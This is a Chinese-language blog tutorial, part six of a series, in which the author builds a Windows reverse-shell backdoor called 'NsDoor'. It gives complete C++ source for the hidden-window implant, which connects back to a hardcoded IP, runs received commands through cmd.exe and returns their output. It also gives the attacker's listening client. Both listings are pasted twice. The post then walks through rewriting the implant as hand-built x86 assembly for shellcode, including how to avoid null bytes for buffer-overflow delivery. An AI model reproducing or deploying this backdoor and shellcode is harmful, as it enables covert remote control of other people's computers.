循环渐进NsDoor(六)
为了写汇编的方便,我还是把扩展功能删除了,简洁为先…
先把修改的代码贴出来吧
服务端,反弹后门:
//reverse.cpp
#include<iostream>
#include<winsock2.h>
#pragma comment(lib,"Ws2_32")
using namespace std;
#define PORT 1517
#define IP "192.168.6.20"
int main()
{
WSADATA ws;
SOCKET sockfd;
int ret = 0;
unsigned long lBytesRead = 0;
WSAStartup(MAKEWORD(2,2),&ws);
//sockfd = WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0);
sockfd = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
cout<<(int)sockfd<<endl;
struct sockaddr_in server;
server.sin_family = AF_INET;
server.sin_port = htons(PORT);
server.sin_addr.S_un.S_addr = inet_addr(IP);
while(connect(sockfd,(struct sockaddr*)&server,sizeof server) == -1);//我喜欢这样写,呵呵
SECURITY_ATTRIBUTES pipeattr;
HANDLE hReadPipe,hWritePipe;
pipeattr.nLength = 12;
pipeattr.bInheritHandle = true;
pipeattr.lpSecurityDescriptor = 0;
CreatePipe(&hReadPipe,&hWritePipe,&pipeattr,0);
STARTUPINFOA si;
ZeroMemory(&si,sizeof si);
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.hStdOutput = si.hStdError = hWritePipe;//木输入管道
PROCESS_INFORMATION ProcessInformation;
char Buf[1024] = {0};
char RecvBuf[200] = {0};
while(true)
{
recv(sockfd,RecvBuf,200,0);
while(CreateProcessA(NULL,RecvBuf,NULL,NULL,TRUE,NULL,NULL,NULL,&si,&ProcessInformation)==0);
Sleep(1000);
ReadFile(hReadPipe,Buf,1024,&lBytesRead,0);
send(sockfd,Buf,1024,0);
memset(Buf,0,1024);
Sleep(100);
memset(RecvBuf,0,200);
}
return 0;
}
客户端:
//NsClient.cpp
#include<iostream>
#include<winsock2.h>
#include<string.h>
using namespace std;
#pragma comment(lib,"Ws2_32")
int main()
{
const int PORT = 1517;
const int BACKLOG = 2;//端口为常量问题在生成器部分应该可以解决
int sockfd,new_fd;
int sin_size;
int ret;
char Buf[1024];
struct sockaddr_in server_addr;
WSADATA ws;
WSAStartup(MAKEWORD(2,2),&ws);
sockfd = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);//IPPROTO_TCP
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(PORT);
server_addr.sin_addr.s_addr = ADDR_ANY;
ret = bind(sockfd,(struct sockaddr*)&server_addr,sizeof server_addr);
ret = listen(sockfd,BACKLOG);
sin_size = sizeof server_addr;
new_fd = accept(sockfd,(struct sockaddr*)&server_addr,&sin_size);
char Command[200] = {0};
cout<<" -------------------------*******************-------------------------"<<endl;
cout<<" - -"<<endl;
cout<<" - Welcome to a magic world,NewSketcher~ -"<<endl;
cout<<" - -"<<endl;
cout<<" - QQ:381002948 E-mail:ns517@126.com -"<<endl;
cout<<" - -"<<endl;
cout<<" -------------------------*******************-------------------------"<<endl;
cout<<endl;
cout<<"Connection OK!"<<endl<<"You can input the CmdLine OR ."<<endl<<endl;//还有功能未实现呵呵
char CmdStr[200] = {0};
while(true)
{
cout<<"CmdLine:"">";
cin.getline(Command,200);
strcat_s(CmdStr,20,"cmd.exe /c");
strcat_s(CmdStr,200,Command);
send(new_fd,CmdStr,200,0);
recv(new_fd,Buf,1024,0);
cout<<Buf<<endl;
memset(Command,0,200);
memset(CmdStr,0,200);
memset(Buf,0,1024);
}
}
#include<iostream>
#include<winsock2.h>
#pragma comment(lib,"Ws2_32")
using namespace std;
#define PORT 1517
#define IP "192.168.6.20"
int main()
{
WSADATA ws;
SOCKET sockfd;
int ret = 0;
unsigned long lBytesRead = 0;
WSAStartup(MAKEWORD(2,2),&ws);
//sockfd = WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0);
sockfd = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
cout<<(int)sockfd<<endl;
struct sockaddr_in server;
server.sin_family = AF_INET;
server.sin_port = htons(PORT);
server.sin_addr.S_un.S_addr = inet_addr(IP);
while(connect(sockfd,(struct sockaddr*)&server,sizeof server) == -1);//我喜欢这样写,呵呵
SECURITY_ATTRIBUTES pipeattr;
HANDLE hReadPipe,hWritePipe;
pipeattr.nLength = 12;
pipeattr.bInheritHandle = true;
pipeattr.lpSecurityDescriptor = 0;
CreatePipe(&hReadPipe,&hWritePipe,&pipeattr,0);
STARTUPINFOA si;
ZeroMemory(&si,sizeof si);
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.hStdOutput = si.hStdError = hWritePipe;//木输入管道
PROCESS_INFORMATION ProcessInformation;
char Buf[1024] = {0};
char RecvBuf[200] = {0};
while(true)
{
recv(sockfd,RecvBuf,200,0);
while(CreateProcessA(NULL,RecvBuf,NULL,NULL,TRUE,NULL,NULL,NULL,&si,&ProcessInformation)==0);
Sleep(1000);
ReadFile(hReadPipe,Buf,1024,&lBytesRead,0);
send(sockfd,Buf,1024,0);
memset(Buf,0,1024);
Sleep(100);
memset(RecvBuf,0,200);
}
return 0;
}
客户端:
//NsClient.cpp
#include<iostream>
#include<winsock2.h>
#include<string.h>
using namespace std;
#pragma comment(lib,"Ws2_32")
int main()
{
const int PORT = 1517;
const int BACKLOG = 2;//端口为常量问题在生成器部分应该可以解决
int sockfd,new_fd;
int sin_size;
int ret;
char Buf[1024];
struct sockaddr_in server_addr;
WSADATA ws;
WSAStartup(MAKEWORD(2,2),&ws);
sockfd = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);//IPPROTO_TCP
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(PORT);
server_addr.sin_addr.s_addr = ADDR_ANY;
ret = bind(sockfd,(struct sockaddr*)&server_addr,sizeof server_addr);
ret = listen(sockfd,BACKLOG);
sin_size = sizeof server_addr;
new_fd = accept(sockfd,(struct sockaddr*)&server_addr,&sin_size);
char Command[200] = {0};
cout<<" -------------------------*******************-------------------------"<<endl;
cout<<" - -"<<endl;
cout<<" - Welcome to a magic world,NewSketcher~ -"<<endl;
cout<<" - -"<<endl;
cout<<" - QQ:381002948 E-mail:ns517@126.com -"<<endl;
cout<<" - -"<<endl;
cout<<" -------------------------*******************-------------------------"<<endl;
cout<<endl;
cout<<"Connection OK!"<<endl<<"You can input the CmdLine OR ."<<endl<<endl;//还有功能未实现呵呵
char CmdStr[200] = {0};
while(true)
{
cout<<"CmdLine:"">";
cin.getline(Command,200);
strcat_s(CmdStr,20,"cmd.exe /c");
strcat_s(CmdStr,200,Command);
send(new_fd,CmdStr,200,0);
recv(new_fd,Buf,1024,0);
cout<<Buf<<endl;
memset(Command,0,200);
memset(CmdStr,0,200);
memset(Buf,0,1024);
}
}
以上就是修改后的了,也要注意IP地址的修改….
参照reverse.cpp开始我们的汇编之路:
1、 WSAStartup函数
WSADATA ws;
WSAStartup(MAKEWORD(2,2),&ws);
应该是这两句相关的怎么把它们变成汇编呢?
先DEBUG下,
记得要选择寄存器和反汇编,在反汇编下你可以得到很多信息….
0040101D 8D 84 24 90 00 00 00 lea eax,[esp+90h]
00401024 50 push eax
00401025 33 DB xor ebx,ebx
00401027 68 02 02 00 00 push 202h
0040102C 89 5C 24 20 mov dword ptr [esp+20h],ebx
00401030 FF 15 C8 20 40 00 call dword ptr [__imp__WSAStartup@8 (4020C8h)]
注意特点:
有两个push,一个call
明白没?
WSAStartup是两个参数的,所以两个push是把参数压入栈,call的正是这个函数的地址,再仔细分析下这个函数的参数,&ws,这个只是个地址,压入栈后往里面写的数据,后面再没使用过它,所以可以随意给它赋个地址,MAKEWORD(2,2)的数值是多少呢?
哈哈,上面反汇编已经告诉了是202h,即16进制的202
参数是从右向左入栈的,所以
现在知道怎么构造了么?
先找个地址代替&ws,我就找esp吧
Push esp
第二个参数是202h
Push 0x202
然后调用地址(用上章那个程序查找出地址):
Mov eax,0x71A26A55
Call eax
总的就是
_asm
{
Push esp
Push 0x202
Mov eax, 0x71A26A55
Call eax
}
上面这段程序就可以完全代替
WSADATA ws;
WSAStartup(MAKEWORD(2,2),&ws);
呵呵,强大吧
继续
2、 SOCKET sockfd;
sockfd = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
这两句怎么办?
同理:
先反汇编debug
汗,这个太明显了…
VS帮我们写好了
直接就是 6 1 2三个数
所以直接写了
_asm
{
Push 6
Push 1
Push 2
Mov eax, 0x71A24211
Call eax
}
这样就OK了,注意寄存器可不能乱用,我一般都是找eax,毕竟数值寄存器一般不会存个地址啥的
3、 struct sockaddr_in server;
server.sin_family = AF_INET;
server.sin_port = htons(PORT);
server.sin_addr.S_un.S_addr = inet_addr(IP);
while(connect(sockfd,(struct sockaddr*)&server,sizeof server) == -1);
这个难度可不小的说…
要仔细想下了…
首先分析三个参数..
Sizeof server,这是个固定数值,很容易
(struct sockaddr*)&server,这是个地址,应该是参数传址形式,但是地址中的数据是什么?数据长度是多少?需要我们确定了…
Sockfd,这个是上面函数的生成值,怎么得到它?
所以第二个反汇编得修改了
先反汇编看下再说吧
首先,第一个参数是10h,即16,即第二个参数的数据长度,我们需要找到第二个参数的地址,然后去找里面的东西..>
看到push edx么?
Edx就代表第二个参数的地址,
EAX = 1406A8C0 EBX = 00000000 ECX = 71A22F3C EDX = 0012F908 ESI = 00000F9C EDI = 71A24A07
EIP = 0040109F ESP = 0012F880 EBP = 0012FF7C EFL = 00000286
以上是单步到这个位置的寄存器数据
Edx是0012f908,直接查看内存
所以,&server里的东西应该是 02 00 05 ed c0 a8 06 14
呵呵,这个和我们定义的端口和IP有关,如果你改变反弹的IP和端口这里就会改变,这样其实也方便了客户端生成器,这个以后再说
反正我测试都是完全通过了的…
然后开始构造数据大法,哈哈
我们自己push
Push 0x1406a8c0
Push 0xed050002
MOV esi,esp
Push esi
注意这三句话,很经典的,首先,压入数据的顺序很奇怪,你必须了解高址和低址的关系…
然后为什么mov esp,因为向堆栈里写东西,esp代表着栈顶,所以,我们自己 的&server的地址就是此时的栈顶,是不是很强大!!!
第三个参数sockfd
这里修改第二个汇编代码如下
_asm
{
Push 6
Push 1
Push 2
Mov eax, 0x71A24211
Call eax
Mov ebx,eax
}
这里你要懂得是,eax其实存放的是函数的返回值,我们防止其失去,把它放在ebx中,所以要控制ebx别被刷了…
这里自然就是
Push ebx了
同理,connect的返回值也在eax,所以我们把eax和-1比较决定是否从while中出来
整段代码如下
_asm
{
conn:
push 0x1406A8C0
mov eax,0xED050002
push eax
mov esi,esp
push 0x10
push esi
push ebx
call [ebp+32]
cmp eax,-1
je conn
}
这里的
call [ebp+32]
是因为我已经把所有的函数都汇编好了,然后就提取了所有函数的地址统一压入了栈
所以call [ebp+32]
就等于
mov eax,0x71A24A07
call eax
呵呵
现在已经介绍了很多函数了,下面再介绍哦最后一个…
一个最复杂的,我研究了半天才想明白:
STARTUPINFOA si;
ZeroMemory(&si,sizeof si);
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.hStdOutput = si.hStdError = hWritePipe;//木输入管道...
解决这段代码的初始化问题:
后面CreateProcessA用到了&si,
这个&si大家应该明白怎么做了吧,在堆栈中构造出来,然后栈顶就是其地址了,把栈顶再压进去就OK了
我当时一直在想ZeroMemory(&si,sizeof si);的汇编,后来我才发现,其实没必要嘛,它的作用是把si先清0,然后根据标志位往里面写数据而已
我们直接找到它的地址和长度就可以了啊
我想了一个方法
在其后加入
Cout<<&si<<endl<<sizeof si<<endl;
这样,程序之间显示出它的地址和长度,我们只要根据地址在内存中找到指定长度的数据就行了啊,哈哈
这样就好办了,我们直接在内存为0012F8B0处找68个字节的数据就行了
_asm
{
push 0x00000F8C
push 0x00000F8C
push 0x00000000
push 0x00000000
push 0x00000000
push 0x00000101
push 0x00000000
push 0x00000000
push 0x00000000
push 0x00000000
push 0x00000000
push 0x00000000
push 0x00000000
push 0x00000000
push 0x00000000
push 0x00000000
push 0x00000000
mov edi,esp
}
这是我写的汇编
比较猥琐的写法
正规想法貌似应该
Xor eax,eax
Push eax
这样就可以代替push 0x00000000了
后来我写shellcode的时候发现
Push 0x00000000的机器码是6A 00
而push eax应该是 53
你想想,这么多push 0x000000000
写成shellcode就多了很多字节了,而且出现了00,这可是很麻烦的东西,缓冲区溢出遇到00会默认结束,相当与’"0’,这还得decode啥的,太麻烦了,谁想研究这个的可以自己修改
这节有点太长了,到这先终止下吧,哈哈
--------------by NewSketcher
Time: 080822 20:52